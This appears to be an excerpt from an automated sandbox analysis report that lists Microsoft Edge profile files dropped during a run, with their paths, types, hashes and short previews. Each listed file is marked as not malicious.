SSDEEP:	48:YcCpfgCzs7tsnfcKsCleeBkEsvC9RszsCgHHYhbyDF:F2fQgFkeBkLYYsT4hy
MD5:	84460D4A047816F797D6A7D620F804EE
SHA1:	43A613999263D7B8C609CB24CDEB56832FAAF7A7
SHA-256:	52E8AD690B08A122D4471A633C3F80408444C64DC9E4896885A2E749779138C6
SHA-512:	264FAB9263ECFCA7825A5E3121A9906267404ABA1CAC4E4059852022AC2A2B007D93A5B09128CEFD15DD7D851FA65A8422264752FC21F476F214E8E7BE695BE7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379206364634925","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379206369112499","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376707971829967","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4424829904965812
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cS5lN:JkIEumQv8m1ccnvS8DDpezthr1a
MD5:	BEE1761E7500484E3F5FD8FA090A4291
SHA1:	5780C600CAB228A26CEBF1183AAC0CFCECD030AF
SHA-256:	1077692E3F20BAD5CD3B9FF020E28A37DD96A58230A235E9C8DD1EC26742278E
SHA-512:	830B9513E47E10141762DA1B2E24AA0270ABCE197C7FA084DEA7A36D18123F30F1710CBD815097984190EE536FFF33D22D8B0C05F46D96C5EDC42540BDF5AC24
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF277a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF28fe2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a9440ec7-7ce5-4f83-a366-33dca376a0c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f1e9eabe-e5fd-45cc-a399-44ed16ac5807.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f55e27ef-b27b-4194-8f76-5a5dcd2616c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.109122796536768
Encrypted:	false
SSDEEP:	192:st7LkdpzsGuNyaNP9kZxA8gbV+FrXGWQAISiP3YJ:st7LQzsGytJbbGBQC
MD5:	E093420DEBFAD09718CED63DD3A6101C
SHA1:	4D94C2663C818EFD84F8229AD1C387CB555C29FE
SHA-256:	BA8D281571A9EEA6636412F2EDCB19C6ED958A4BF7137102FDED9D7F87F05727
SHA-512:	946AEF101389F2507CE228C0643C9261E99A589879712E2D0A22E00BD63B91446E0F875B870AE1435898806948E48B931A542D173907401EBFD4144B0CADD1C2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2bef1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.109122796536768
Encrypted:	false
SSDEEP:	192:st7LkdpzsGuNyaNP9kZxA8gbV+FrXGWQAISiP3YJ:st7LQzsGytJbbGBQC
MD5:	E093420DEBFAD09718CED63DD3A6101C
SHA1:	4D94C2663C818EFD84F8229AD1C387CB555C29FE
SHA-256:	BA8D281571A9EEA6636412F2EDCB19C6ED958A4BF7137102FDED9D7F87F05727
SHA-512:	946AEF101389F2507CE228C0643C9261E99A589879712E2D0A22E00BD63B91446E0F875B870AE1435898806948E48B931A542D173907401EBFD4144B0CADD1C2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2e610.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.109122796536768
Encrypted:	false
SSDEEP:	192:st7LkdpzsGuNyaNP9kZxA8gbV+FrXGWQAISiP3YJ:st7LQzsGytJbbGBQC
MD5:	E093420DEBFAD09718CED63DD3A6101C
SHA1:	4D94C2663C818EFD84F8229AD1C387CB555C29FE
SHA-256:	BA8D281571A9EEA6636412F2EDCB19C6ED958A4BF7137102FDED9D7F87F05727
SHA-512:	946AEF101389F2507CE228C0643C9261E99A589879712E2D0A22E00BD63B91446E0F875B870AE1435898806948E48B931A542D173907401EBFD4144B0CADD1C2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF319f2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.109122796536768
Encrypted:	false
SSDEEP:	192:st7LkdpzsGuNyaNP9kZxA8gbV+FrXGWQAISiP3YJ:st7LQzsGytJbbGBQC
MD5:	E093420DEBFAD09718CED63DD3A6101C
SHA1:	4D94C2663C818EFD84F8229AD1C387CB555C29FE
SHA-256:	BA8D281571A9EEA6636412F2EDCB19C6ED958A4BF7137102FDED9D7F87F05727
SHA-512:	946AEF101389F2507CE228C0643C9261E99A589879712E2D0A22E00BD63B91446E0F875B870AE1435898806948E48B931A542D173907401EBFD4144B0CADD1C2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3781f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.109122796536768
Encrypted:	false
SSDEEP:	192:st7LkdpzsGuNyaNP9kZxA8gbV+FrXGWQAISiP3YJ:st7LQzsGytJbbGBQC
MD5:	E093420DEBFAD09718CED63DD3A6101C
SHA1:	4D94C2663C818EFD84F8229AD1C387CB555C29FE
SHA-256:	BA8D281571A9EEA6636412F2EDCB19C6ED958A4BF7137102FDED9D7F87F05727
SHA-512:	946AEF101389F2507CE228C0643C9261E99A589879712E2D0A22E00BD63B91446E0F875B870AE1435898806948E48B931A542D173907401EBFD4144B0CADD1C2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567260080243156
Encrypted:	false
SSDEEP:	768:V03n/ZWPtNfrG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIhLWurw3pDtuA:V03n/ZWPtNfrGu1jaRFWrVtb
MD5:	E6FE60A89616D0FE8B1237959D8C497E
SHA1:	25B66BD66EB9C1764744DC0A6AEADAE5E8C43636
SHA-256:	CA8C3CE141979EE205546960C3FAF7D92F543F876783D7FF2B021ECB88CC544C
SHA-512:	CD0D9A4E42E99EF58321820B38D738BE04170F1C2DC68D88E09A99E6AA8AB5744C0EB480C5DE2627C4930E590B37361B98D385EAA169A724AD934107EA284483
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376614360510211","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376614360510211","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2b6e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567260080243156
Encrypted:	false
SSDEEP:	768:V03n/ZWPtNfrG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIhLWurw3pDtuA:V03n/ZWPtNfrGu1jaRFWrVtb
MD5:	E6FE60A89616D0FE8B1237959D8C497E
SHA1:	25B66BD66EB9C1764744DC0A6AEADAE5E8C43636
SHA-256:	CA8C3CE141979EE205546960C3FAF7D92F543F876783D7FF2B021ECB88CC544C
SHA-512:	CD0D9A4E42E99EF58321820B38D738BE04170F1C2DC68D88E09A99E6AA8AB5744C0EB480C5DE2627C4930E590B37361B98D385EAA169A724AD934107EA284483
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376614360510211","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376614360510211","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.834550776838159
Encrypted:	false
SSDEEP:	24:F2xc5Nm5Ecncmo0CRORpllg2D5fRH6VdCRORpllg24n6ghgKCRORpllg2DkRH6H/:F2emztrdD5fBEXrdw6gh/rdDkB2rdTBh
MD5:	F0EC094615B875B7B1E5E47970FC608C
SHA1:	3F62E65C1CC40861A59BB0BC6964376D8F2974A9
SHA-256:	DC83B6226F1378C328F80706E3BEC2A64BEAA9C0084F1F54A3A4B028FF7DF4E9
SHA-512:	87636FDE021AF4117DA8F1016024BAA71551F6BE9F7E9518F8693301514B1F4864992D436936996B559257B3127C24EF77274D0B45DB9C2112D2F9C676DBEE3D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2....m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.....@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.204132841028835
Encrypted:	false
SSDEEP:	6:HHSG5Uq1cNwi23oH+TcwtE/a252KLlVHSGLt+q2PcNwi23oH+TcwtE/a2ZIFUv:nSG5fZYeb8xL/SGEvLZYeb8J2FUv
MD5:	F6284196A54F703F475335B04B0C0FE6
SHA1:	F6787752837BB2194841774F32139881BC641A60
SHA-256:	0EB259E2F17C7D9A3C1983E80D9806C889EB23BDDD4F7CE5B204F1488680EB3E
SHA-512:	91000EFDBDA1D51DB461DABF09A3E97E04040D873B03F410D4BC78207D40DC8DCB37073D9205AF31F2BE7860455FE1224A45FEBA79736E2E6FD04DFD01395952
Malicious:	false
Preview:	2024/11/20-17:12:58.665 738 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/20-17:12:58.683 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114179
Entropy (8bit):	5.577646711800508
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKZpcktotdd:d9LyxPXfOxr1lMe1nL/CL/TXEmaCXd
MD5:	7C2FFE394B65D13FE4BCD0A66F863B31
SHA1:	54F517F8E426AF4E552CDCAC6F75CCA172532250
SHA-256:	679D8722301A2E81ECC1031093D1188896C0DEB965A1C8151B139D5DAAEEC0A7
SHA-512:	84912F5DA7C1B40CCCC56288DF12FF5F7758555D618DA9547E1B1B112CD1DE6CAF322EB6B5ABBDACC6D9F047D860159679094BC334855744BB708D12885D197B
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188681
Entropy (8bit):	6.385331126805268
Encrypted:	false
SSDEEP:	3072:ssEMtYtBudM9wgVceKqVL/NkM6VwTVDYGiojwDm:ud9wDF0L/KZVQDuy
MD5:	998CA38256976DAEEC4B780A1C20BF07
SHA1:	C994CCA6A923D813E3B40742C0D00B2DB9C2D15B
SHA-256:	8FAFAE88349AB6B31A16CC96ACADCA618404E86F5B6700D95BC36E7A22ED93B8
SHA-512:	0F61ABA99A1FF0BAC78483F9B71C88EBE8D6C0BA0DA7D7106304C855B93FC0594B1ECC8F5AA95FF1E424AE75B43D1E2D6670A552A58E32231E6A5BC3C337D47A
